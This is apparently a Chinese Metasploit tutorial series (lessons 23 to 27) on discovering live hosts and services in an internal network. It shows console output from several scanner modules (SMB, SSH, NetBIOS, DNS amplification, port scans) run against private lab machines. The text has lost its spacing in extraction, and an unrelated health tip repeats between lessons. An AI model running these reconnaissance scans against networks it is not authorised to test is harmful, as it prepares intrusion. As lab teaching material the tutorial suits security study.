Moduleoptions(auxiliary/scanner/smb/smb_version): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. RHOSTS192.168.1.0/24yesThetargetaddressrangeorCIDRidentifier 8. SMBDomain.noTheWindowsdomaintouseforauthentication 9. SMBPassnoThepasswordforthespecifiedusername 10. SMBUsernoTheusernametoauthenticateas 11. THREADS20yesThenumberofconcurrentthreads 12. 13. msfauxiliary(scanner/smb/smb_version)>exploit 14. 二:基于scanner/smb/smb_version发现SMB服务 第二十三课:基于MSF发现内网存活主机第一季 -182- 本文档使用书栈(BookStack.CN)构建 15. [+]192.168.1.2:445‐HostisrunningWindows7UltimateSP1(build:7601) (name:JOHN‐PC)(workgroup:WORKGROUP) 16. [*]Scanned40of256hosts(15%complete) 17. [*]Scanned60of256hosts(23%complete) 18. [*]Scanned79of256hosts(30%complete) 19. [+]192.168.1.119:445‐HostisrunningWindows2003R2SP2(build:3790) (name:WIN03X64) 20. [*]Scanned103of256hosts(40%complete) 21. [*]Scanned128of256hosts(50%complete) 22. [*]Scanned154of256hosts(60%complete) 23. [*]Scanned181of256hosts(70%complete) 24. [*]Scanned206of256hosts(80%complete) 25. [*]Scanned231of256hosts(90%complete) 26. [*]Scanned256of256hosts(100%complete) 27. [*]Auxiliarymoduleexecutioncompleted 1. msfauxiliary(scanner/ftp/ftp_version)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/ftp/ftp_version): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. FTPPASSmozilla@example.comnoThepasswordforthespecifiedusername 8. FTPUSERanonymousnoTheusernametoauthenticateas 三:基于scanner/ftp/ftp_version发现FTP服务 第二十三课:基于MSF发现内网存活主机第一季 -183- 本文档使用书栈(BookStack.CN)构建 9. RHOSTS192.168.1.0/24yesThetargetaddressrangeorCIDRidentifier 10. RPORT21yesThetargetport(TCP) 11. THREADS50yesThenumberofconcurrentthreads 12. 13. msfauxiliary(scanner/ftp/ftp_version)>exploit 14. 15. [*]Scanned51of256hosts(19%complete) 16. [*]Scanned52of256hosts(20%complete) 17. [*]Scanned100of256hosts(39%complete) 18. [+]192.168.1.119:21‐FTPBanner:'220MicrosoftFTPService\x0d\x0a' 19. [*]Scanned103of256hosts(40%complete) 20. [*]Scanned133of256hosts(51%complete) 21. [*]Scanned183of256hosts(71%complete) 22. [*]Scanned197of256hosts(76%complete) 23. [*]Scanned229of256hosts(89%complete) 24. [*]Scanned231of256hosts(90%complete) 25. [*]Scanned256of256hosts(100%complete) 26. [*]Auxiliarymoduleexecutioncompleted 1. msfauxiliary(scanner/discovery/arp_sweep)>showoptions 四:基于scanner/discovery/arp_sweep发现内网存活主机 第二十三课:基于MSF发现内网存活主机第一季 -184- 本文档使用书栈(BookStack.CN)构建 2. 3. Moduleoptions(auxiliary/scanner/discovery/arp_sweep): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. INTERFACEnoThenameoftheinterface 8. RHOSTS192.168.1.0/24yesThetargetaddressrangeorCIDRidentifier 9. SHOSTnoSourceIPAddress 10. SMACnoSourceMACAddress 11. THREADS50yesThenumberofconcurrentthreads 12. TIMEOUT5yesThenumberofsecondstowaitfornewdata 13. 14. msfauxiliary(scanner/discovery/arp_sweep)>exploit 15. 16. [+]192.168.1.1appearstobeup(UNKNOWN). 17. [+]192.168.1.2appearstobeup(UNKNOWN). 18. [+]192.168.1.119appearstobeup(VMware,Inc.). 19. [*]Scanned256of256hosts(100%complete) 20. [*]Auxiliarymoduleexecutioncompleted 1. msfauxiliary(scanner/discovery/udp_sweep)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/discovery/udp_sweep): 4. 五:基于scanner/discovery/udp_sweep发现内网存活主机 第二十三课:基于MSF发现内网存活主机第一季 -185- 本文档使用书栈(BookStack.CN)构建 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. BATCHSIZE256yesThenumberofhoststoprobeineachset 8. RHOSTS192.168.1.0/24yesThetargetaddressrangeorCIDRidentifier 9. THREADS50yesThenumberofconcurrentthreads 10. 11. msfauxiliary(scanner/discovery/udp_sweep)>exploit 12. 13. [*]Sending13probesto192.168.1.0‐>192.168.1.255(256hosts) 14. [*]DiscoveredDNSon192.168.1.1:53(ce2a8500000100010000000007564552 53494f4e0442494e440000100003c00c0010000300000001001a19737572656c7920796f7 15. 5206d757374206265206a6f6b696e67) 16. [*]DiscoveredNetBIOSon192.168.1.2:137(JOHN‐PC:<00>:U:WORKGROUP:<00>:G :JOHN‐PC:<20>:U:WORKGROUP:<1e>:G:WORKGROUP:<1d>:U 17. :__MSBROWSE__<01>:G:4c:cc:6a:e3:51:27) 18. [*]DiscoveredNetBIOSon192.168.1.119:137(WIN03X64:<00>:U:WIN03X64:<20>:U :WORKGROUP:<00>:G:WORKGROUP:<1e>:G:WIN03X64:<03>:U 19. :ADMINISTRATOR:<03>:U:WIN03X64:<01>:U:00:0c:29:85:d6:7d) 20. [*]Scanned256of256hosts(100%complete) 21. [*]Auxiliarymoduleexecutioncompleted Micropoor 第二十三课:基于MSF发现内网存活主机第一季 -186- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 攻击机: 192.168.1.5Debian 靶机: 192.168.1.2Windows7 192.168.1.115Windows2003 192.168.1.119Windows2003 第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/discovery/arp_sweep auxiliary/scanner/discovery/udp_sweep auxiliary/scanner/ftp/ftp_version auxiliary/scanner/http/http_version auxiliary/scanner/smb/smb_version 第二季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/ssh/ssh_version auxiliary/scanner/telnet/telnet_version auxiliary/scanner/discovery/udp_probe auxiliary/scanner/dns/dns_amp auxiliary/scanner/mysql/mysql_version 1. msfauxiliary(scanner/ssh/ssh_version)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/ssh/ssh_version): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. RHOSTS192.168.1.0/24yesThetargetaddressrangeorCIDRidentifier 8. RPORT22yesThetargetport(TCP) 9. THREADS50yesThenumberofconcurrentthreads 10. TIMEOUT30yesTimeoutfortheSSHprobe 11. 12. msfauxiliary(scanner/ssh/ssh_version)>exploit 13. 14. [+]192.168.1.5:22‐SSHserverversion:SSH‐2.0‐OpenSSH_7.9p1Debian‐5( 六:基于auxiliary/scanner/ssh/ssh_version发现SSH服务 第二十四课:基于MSF发现内网存活主机第二季 -187- 本文档使用书栈(BookStack.CN)构建 service.version=7.9p1openssh.comment=Debian‐5service.vendor=OpenBSD 15. service.family=OpenSSHservice.product=OpenSSHservice.cpe23=cpe:/a:openb 16. sd:openssh:7.9p1os.vendor=Debianos.family=Linuxos.product=Linuxos.cpe 17. 23=cpe:/o:debian:debian_linux:‐service.protocol=sshfingerprint_db=ssh.banner ) 18. [*]Scanned52of256hosts(20%complete) 19. [*]Scanned95of256hosts(37%complete) 20. [*]Scanned100of256hosts(39%complete) 21. [*]Scanned103of256hosts(40%complete) 22. [*]Scanned131of256hosts(51%complete) 23. [*]Scanned154of256hosts(60%complete) 24. [*]Scanned180of256hosts(70%complete) 25. [*]Scanned206of256hosts(80%complete) 26. [*]Scanned235of256hosts(91%complete) 27. [*]Scanned256of256hosts(100%complete) 28. [*]Auxiliarymoduleexecutioncompleted 1. msfauxiliary(scanner/telnet/telnet_version)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/telnet/telnet_version): 4. 5. NameCurrentSettingRequiredDescription 七:基于auxiliary/scanner/telnet/telnet_version发现 TELNET服务 第二十四课:基于MSF发现内网存活主机第二季 -188- 本文档使用书栈(BookStack.CN)构建 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. PASSWORDnoThepasswordforthespecifiedusername 8. RHOSTS192.168.1.119yesThetargetaddressrangeorCIDRidentifier 9. RPORT23yesThetargetport(TCP) 10. THREADS50yesThenumberofconcurrentthreads 11. TIMEOUT30yesTimeoutfortheTelnetprobe 12. USERNAMEnoTheusernametoauthenticateas 13. 14. msfauxiliary(scanner/telnet/telnet_version)>exploit 15. 16. [+]192.168.1.119:23‐192.168.1.119:23TELNETWelcometoMicrosoftTelnet Service\x0a\x0a\x0dlogin: 17. [*]Scanned1of1hosts(100%complete) 18. [*]Auxiliarymoduleexecutioncompleted 1. msfauxiliary(scanner/discovery/udp_probe)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/discovery/udp_probe): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. CHOSTnoThelocalclientaddress 8. RHOSTS192.168.1.0/24yesThetargetaddressrangeorCIDRidentifier 9. THREADS50yesThenumberofconcurrentthreads 10. 11. msfauxiliary(scanner/discovery/udp_probe)>exploit 12. 13. [+]DiscoveredNetBIOSon192.168.1.2:137(JOHN‐PC:<00>:U:WORKGROUP: 八:基于scanner/discovery/udp_probe发现内网存活主机 第二十四课:基于MSF发现内网存活主机第二季 -189- 本文档使用书栈(BookStack.CN)构建 14. <00>:G:JOHN‐PC:<20>:U:WORKGROUP:<1e>:G:WORKGROUP:<1d>:U 15. :__MSBROWSE__<01>:G:4c:cc:6a:e3:51:27) 16. [+]DiscoveredDNSon192.168.1.1:53(de778500000100010000000007564552 53494f4e0442494e440000100003c00c0010000300000001001a19737572656c7920796f7 17. 5206d757374206265206a6f6b696e67) 18. [*]Scanned43of256hosts(16%complete) 19. [*]Scanned52of256hosts(20%complete) 20. [*]Scanned89of256hosts(34%complete) 21. [+]DiscoveredNetBIOSon192.168.1.119:137(WIN03X64:<00>:U:WIN03X64:<20>:U :WORKGROUP:<00>:G:WORKGROUP:<1e>:G:WIN03X64:<03>:U 22. :ADMINISTRATOR:<03>:U:WIN03X64:<01>:U:00:0c:29:85:d6:7d) 23. [*]Scanned103of256hosts(40%complete) 24. [*]Scanned140of256hosts(54%complete) 25. [*]Scanned163of256hosts(63%complete) 26. [*]Scanned184of256hosts(71%complete) 27. [*]Scanned212of256hosts(82%complete) 28. [*]Scanned231of256hosts(90%complete) 29. [*]Scanned256of256hosts(100%complete) 30. [*]Auxiliarymoduleexecutioncompleted 1. msfauxiliary(scanner/dns/dns_amp)>showoptions 九:基于auxiliary/scanner/dns/dns_amp发现内网存活主机 第二十四课:基于MSF发现内网存活主机第二季 -190- 本文档使用书栈(BookStack.CN)构建 2. 3. Moduleoptions(auxiliary/scanner/dns/dns_amp): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. BATCHSIZE256yesThenumberofhoststoprobeineachset 8. DOMAINNAMEisc.orgyesDomaintousefortheDNSrequest 9. FILTERnoThefilterstringforcapturingtraffic 10. INTERFACEnoThenameoftheinterface 11. PCAPFILEnoThenameofthePCAPcapturefiletoprocess 12. QUERYTYPEANYyesQuerytype(A,NS,SOA,MX,TXT,AAAA,RRSIG,DNSKEY,ANY) 13. RHOSTS192.168.1.0/24yesThetargetaddressrangeorCIDRidentifier 14. RPORT53yesThetargetport(UDP) 15. SNAPLEN65535yesThenumberofbytestocapture 16. THREADS50yesThenumberofconcurrentthreads 17. TIMEOUT500yesThenumberofsecondstowaitfornewdata 18. 19. msfauxiliary(scanner/dns/dns_amp)>exploit 20. 21. [*]SendingDNSprobesto192.168.1.0‐>192.168.1.255(256hosts) 22. [*]Sending67bytestoeachhostusingtheINANYisc.orgrequest 23. [+]192.168.1.1:53‐Responseis530bytes[7.91xAmplification] 24. [*]Scanned256of256hosts(100%complete) 25. [*]Auxiliarymoduleexecutioncompleted 第二十四课:基于MSF发现内网存活主机第二季 -191- 本文档使用书栈(BookStack.CN)构建 1. msfauxiliary(scanner/mysql/mysql_version)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/mysql/mysql_version): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. RHOSTS192.168.1.115yesThetargetaddressrangeorCIDRidentifier 8. RPORT3306yesThetargetport(TCP) 9. THREADS50yesThenumberofconcurrentthreads 10. 11. msfauxiliary(scanner/mysql/mysql_version)>exploit 12. 13. [+]192.168.1.115:3306‐192.168.1.115:3306isrunningMySQL5.1.52‐community (protocol10) 14. [*]Scanned1of1hosts(100%complete) 15. [*]Auxiliarymoduleexecutioncompleted Micropoor 十:基于auxiliary/scanner/mysql/mysql_version发现mysql 服务 第二十四课:基于MSF发现内网存活主机第二季 -192- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 攻击机: 192.168.1.5Debian 靶机: 192.168.1.2Windows7 192.168.1.115Windows2003 192.168.1.119Windows2003 第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/discovery/arp_sweep auxiliary/scanner/discovery/udp_sweep auxiliary/scanner/ftp/ftp_version auxiliary/scanner/http/http_version auxiliary/scanner/smb/smb_version 第二季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/ssh/ssh_version auxiliary/scanner/telnet/telnet_version auxiliary/scanner/discovery/udp_probe auxiliary/scanner/dns/dns_amp auxiliary/scanner/mysql/mysql_version 第三季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/netbios/nbname auxiliary/scanner/http/title auxiliary/scanner/db2/db2_version auxiliary/scanner/portscan/ack auxiliary/scanner/portscan/tcp 1. msfauxiliary(scanner/netbios/nbname)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/netbios/nbname): 4. 5. NameCurrentSettingRequiredDescription 十一:基于auxiliary/scanner/netbios/nbname发现内网存活主 机 第二十五课:基于MSF发现内网存活主机第三季 -193- 本文档使用书栈(BookStack.CN)构建 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. BATCHSIZE256yesThenumberofhoststoprobeineachset 8. RHOSTS192.168.1.0/24yesThetargetaddressrangeorCIDRidentifier 9. RPORT137yesThetargetport(UDP) 10. THREADS50yesThenumberofconcurrentthreads 11. 12. msfauxiliary(scanner/netbios/nbname)>exploit 13. 14. [*]SendingNetBIOSrequeststo192.168.1.0‐>192.168.1.255(256hosts) 15. [+]192.168.1.2[JOHN‐PC]OS:WindowsNames:(JOHN‐PC,WORKGROUP,__MSBROWSE__) Addresses:(192.168.1.2,192.168.163.1,192.168.32.1)Mac:4c:cc:6a:e3:51:27 16. [+]192.168.1.115[VM_2003X86]OS:WindowsNames:(VM_2003X86,WORKGROUP) Addresses:(192.168.1.115)Mac:00:0c:29:af:ce:ccVirtualMachine:VMWare 17. [+]192.168.1.119[WIN03X64]OS:WindowsUser:ADMINISTRATORNames:(WIN03X64, WORKGROUP,ADMINISTRATOR)Addresses:(192.168.1.119)Mac:00:0c:29:85:d6:7d VirtualMachine:VMWare 18. [*]Scanned256of256hosts(100%complete) 19. [*]Auxiliarymoduleexecutioncompleted 1. msfauxiliary(scanner/http/title)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/http/title): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. ProxiesnoAproxychainofformattype:host:port[,type:host:port][...] 十二:基于auxiliary/scanner/http/title发现内网存活主机 第二十五课:基于MSF发现内网存活主机第三季 -194- 本文档使用书栈(BookStack.CN)构建 8. RHOSTS192.168.1.115,119yesThetargetaddressrangeorCIDRidentifier 9. RPORT80yesThetargetport(TCP) 10. SHOW_TITLEStrueyesShowthetitlesontheconsoleastheyaregrabbed 11. SSLfalsenoNegotiateSSL/TLSforoutgoingconnections 12. STORE_NOTEStrueyesStorethecapturedinformationinnotes.Use"notes‐t http.title"toview 13. TARGETURI/yesThebasepath 14. THREADS50yesThenumberofconcurrentthreads 15. 16. msfauxiliary(scanner/http/title)>exploit 17. 18. [*][192.168.1.115:80][C:200][R:][S:Microsoft‐IIS/6.0]协同管理系统 19. [*]Scanned2of2hosts(100%complete) 20. [*]Auxiliarymoduleexecutioncompleted 1. msfauxiliary(scanner/http/title)>useauxiliary/scanner/db2/db2_version 2. msfauxiliary(scanner/db2/db2_version)>showoptions 3. 4. Moduleoptions(auxiliary/scanner/db2/db2_version): 5. 6. NameCurrentSettingRequiredDescription 7. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 8. DATABASEtoolsdbyesThenameofthetargetdatabase 9. RHOSTS192.168.1.0/24yesThetargetaddressrangeorCIDRidentifier 10. RPORT50000yesThetargetport(TCP) 11. THREADS50yesThenumberofconcurrentthreads 十三:基于auxiliary/scanner/db2/db2_version发现db2服务 第二十五课:基于MSF发现内网存活主机第三季 -195- 本文档使用书栈(BookStack.CN)构建 12. TIMEOUT5yesTimeoutfortheDB2probe 13. 14. msfauxiliary(scanner/db2/db2_version)>exploit 1. msfauxiliary(scanner/portscan/ack)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/portscan/ack): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. BATCHSIZE256yesThenumberofhoststoscanperset 8. DELAY0yesThedelaybetweenconnections,perthread,inmilliseconds 9. INTERFACEnoThenameoftheinterface 10. JITTER0yesThedelayjitterfactor(maximumvaluebywhichto+/‐DELAY)in milliseconds. 11. PORTS445yesPortstoscan(e.g.22‐25,80,110‐900) 12. RHOSTS192.168.1.115,119yesThetargetaddressrangeorCIDRidentifier 13. SNAPLEN65535yesThenumberofbytestocapture 14. THREADS50yesThenumberofconcurrentthreads 15. TIMEOUT500yesThereplyreadtimeoutinmilliseconds 16. 17. msfauxiliary(scanner/portscan/ack)>exploit 18. 19. [*]TCPUNFILTERED192.168.1.115:445 20. [*]TCPUNFILTERED192.168.1.119:445 21. [*]Scanned2of2hosts(100%complete) 22. [*]Auxiliarymoduleexecutioncompleted 十四:基于auxiliary/scanner/portscan/ack发现内网存活主机 第二十五课:基于MSF发现内网存活主机第三季 -196- 本文档使用书栈(BookStack.CN)构建 1. msfauxiliary(scanner/portscan/tcp)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/portscan/tcp): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. CONCURRENCY10yesThenumberofconcurrentportstocheckperhost 8. DELAY0yesThedelaybetweenconnections,perthread,inmilliseconds 9. JITTER0yesThedelayjitterfactor(maximumvaluebywhichto+/‐DELAY)in milliseconds. 10. PORTS445yesPortstoscan(e.g.22‐25,80,110‐900) 11. RHOSTS192.168.1.115,119,2yesThetargetaddressrangeorCIDRidentifier 12. THREADS50yesThenumberofconcurrentthreads 13. TIMEOUT1000yesThesocketconnecttimeoutinmilliseconds 14. 15. msfauxiliary(scanner/portscan/tcp)>exploit 16. 17. [+]192.168.1.2:‐192.168.1.2:445‐TCPOPEN 18. [*]Scanned1of3hosts(33%complete) 19. [+]192.168.1.119:‐192.168.1.119:445‐TCPOPEN 20. [+]192.168.1.115:‐192.168.1.115:445‐TCPOPEN 21. [*]Scanned3of3hosts(100%complete) 22. [*]Auxiliarymoduleexecutioncompleted 十五:基于auxiliary/scanner/portscan/tcp发现内网存活主机 第二十五课:基于MSF发现内网存活主机第三季 -197- 本文档使用书栈(BookStack.CN)构建 Micropoor 第二十五课:基于MSF发现内网存活主机第三季 -198- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 攻击机: 192.168.1.5Debian 靶机: 192.168.1.2Windows7 192.168.1.115Windows2003 192.168.1.119Windows2003 第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/discovery/arp_sweep auxiliary/scanner/discovery/udp_sweep auxiliary/scanner/ftp/ftp_version auxiliary/scanner/http/http_version auxiliary/scanner/smb/smb_version 第二季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/ssh/ssh_version auxiliary/scanner/telnet/telnet_version auxiliary/scanner/discovery/udp_probe auxiliary/scanner/dns/dns_amp auxiliary/scanner/mysql/mysql_version 第三季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/netbios/nbname auxiliary/scanner/http/title auxiliary/scanner/db2/db2_version auxiliary/scanner/portscan/ack auxiliary/scanner/portscan/tcp 第四季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/portscan/syn auxiliary/scanner/portscan/ftpbounce auxiliary/scanner/portscan/xmas auxiliary/scanner/rdp/rdp_scanner auxiliary/scanner/smtp/smtp_version 第二十六课:基于MSF发现内网存活主机第四季 -199- 本文档使用书栈(BookStack.CN)构建 1. msfauxiliary(scanner/portscan/syn)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/portscan/syn): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. BATCHSIZE256yesThenumberofhoststoscanperset 8. DELAY0yesThedelaybetweenconnections,perthread,inmilliseconds 9. INTERFACEnoThenameoftheinterface 10. JITTER0yesThedelayjitterfactor(maximumvaluebywhichto+/‐DELAY)in milliseconds. 11. PORTS445yesPortstoscan(e.g.22‐25,80,110‐900) 12. RHOSTS192.168.1.115yesThetargetaddressrangeorCIDRidentifier 13. SNAPLEN65535yesThenumberofbytestocapture 14. THREADS50yesThenumberofconcurrentthreads 15. TIMEOUT500yesThereplyreadtimeoutinmilliseconds 16. 17. msfauxiliary(scanner/portscan/syn)>exploit 18. 19. [+]TCPOPEN192.168.1.115:445 20. 21. [*]Scanned1of1hosts(100%complete) 22. [*]Auxiliarymoduleexecutioncompleted 十六:基于auxiliary/scanner/portscan/syn发现内网存活主机 十七:基于auxiliary/scanner/portscan/ftpbounce发现内网存 活主机 第二十六课:基于MSF发现内网存活主机第四季 -200- 本文档使用书栈(BookStack.CN)构建 1. msfauxiliary(scanner/portscan/ftpbounce)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/portscan/ftpbounce): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. BOUNCEHOST192.168.1.119yesFTPrelayhost 8. BOUNCEPORT21yesFTPrelayport 9. DELAY0yesThedelaybetweenconnections,perthread,inmilliseconds 10. FTPPASSmozilla@example.comnoThepasswordforthespecifiedusername 11. FTPUSERanonymousnoTheusernametoauthenticateas 12. JITTER0yesThedelayjitterfactor(maximumvaluebywhichto+/‐DELAY)in milliseconds. 13. PORTS22‐25yesPortstoscan(e.g.22‐25,80,110‐900) 14. RHOSTS192.168.1.119yesThetargetaddressrangeorCIDRidentifier 15. THREADS50yesThenumberofconcurrentthreads 16. 17. msfauxiliary(scanner/portscan/ftpbounce)>exploit 18. 19. [+]192.168.1.119:21‐TCPOPEN192.168.1.119:22 20. [+]192.168.1.119:21‐TCPOPEN192.168.1.119:23 21. [+]192.168.1.119:21‐TCPOPEN192.168.1.119:24 22. [+]192.168.1.119:21‐TCPOPEN192.168.1.119:25 23. [*]192.168.1.119:21‐Scanned1of1hosts(100%complete) 24. [*]Auxiliarymoduleexecutioncompleted 十八:基于auxiliary/scanner/portscan/xmas发现内网存活主机 第二十六课:基于MSF发现内网存活主机第四季 -201- 本文档使用书栈(BookStack.CN)构建 1. msfauxiliary(scanner/portscan/xmas)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/portscan/xmas): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. BATCHSIZE256yesThenumberofhoststoscanperset 8. DELAY0yesThedelaybetweenconnections,perthread,inmilliseconds 9. INTERFACEnoThenameoftheinterface 10. JITTER0yesThedelayjitterfactor(maximumvaluebywhichto+/‐DELAY)in milliseconds. 11. PORTS80yesPortstoscan(e.g.22‐25,80,110‐900) 12. RHOSTS192.168.1.119yesThetargetaddressrangeorCIDRidentifier 13. SNAPLEN65535yesThenumberofbytestocapture 14. THREADS50yesThenumberofconcurrentthreads 15. TIMEOUT500yesThereplyreadtimeoutinmilliseconds 16. 17. msfauxiliary(scanner/portscan/xmas)>exploit 1. msfauxiliary(scanner/rdp/rdp_scanner)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/rdp/rdp_scanner): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. CredSSPtrueyesWhetherornottorequestCredSSP 十九:基于auxiliary/scanner/rdp/rdp_scanner发现内网存活 主机 第二十六课:基于MSF发现内网存活主机第四季 -202- 本文档使用书栈(BookStack.CN)构建 8. EarlyUserfalseyesWhethertosupportEarlierUserAuthorizationResultPDU 9. RHOSTS192.168.1.2,115,119yesThetargetaddressrangeorCIDRidentifier 10. RPORT3389yesThetargetport(TCP) 11. THREADS50yesThenumberofconcurrentthreads 12. TLStrueyesWheterornotrequestTLSsecurity 13. 14. msfauxiliary(scanner/rdp/rdp_scanner)>exploit 15. 16. [*]Scanned1of3hosts(33%complete) 17. [+]192.168.1.115:3389‐IdentifiedRDP 18. [*]Scanned2of3hosts(66%complete) 19. [+]192.168.1.119:3389‐IdentifiedRDP 20. [*]Scanned3of3hosts(100%complete) 21. [*]Auxiliarymoduleexecutioncompleted 1. msfauxiliary(scanner/smtp/smtp_version)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/smtp/smtp_version): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. RHOSTS192.168.1.5yesThetargetaddressrangeorCIDRidentifier 8. RPORT25yesThetargetport(TCP) 9. THREADS50yesThenumberofconcurrentthreads 二十:基于auxiliary/scanner/smtp/smtp_version发现内网存 活主机 第二十六课:基于MSF发现内网存活主机第四季 -203- 本文档使用书栈(BookStack.CN)构建 10. 11. msfauxiliary(scanner/smtp/smtp_version)>exploit Micropoor 第二十六课:基于MSF发现内网存活主机第四季 -204- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 攻击机: 192.168.1.102Debian 靶机: 192.168.1.2Windows7 192.168.1.115Windows2003 192.168.1.119Windows2003 第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/discovery/arp_sweep auxiliary/scanner/discovery/udp_sweep auxiliary/scanner/ftp/ftp_version auxiliary/scanner/http/http_version auxiliary/scanner/smb/smb_version 第二季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/ssh/ssh_version auxiliary/scanner/telnet/telnet_version auxiliary/scanner/discovery/udp_probe auxiliary/scanner/dns/dns_amp auxiliary/scanner/mysql/mysql_version 第三季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/netbios/nbname auxiliary/scanner/http/title auxiliary/scanner/db2/db2_version auxiliary/scanner/portscan/ack auxiliary/scanner/portscan/tcp 第四季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/portscan/syn auxiliary/scanner/portscan/ftpbounce auxiliary/scanner/portscan/xmas auxiliary/scanner/rdp/rdp_scanner auxiliary/scanner/smtp/smtp_version 第五季主要介绍scanner下的三个模块,以及db_nmap辅助发现内网存活主机,分别为: 第二十七课:基于MSF发现内网存活主机第五季 -205- 本文档使用书栈(BookStack.CN)构建 auxiliary/scanner/pop3/pop3_version auxiliary/scanner/postgres/postgres_version auxiliary/scanner/ftp/anonymous 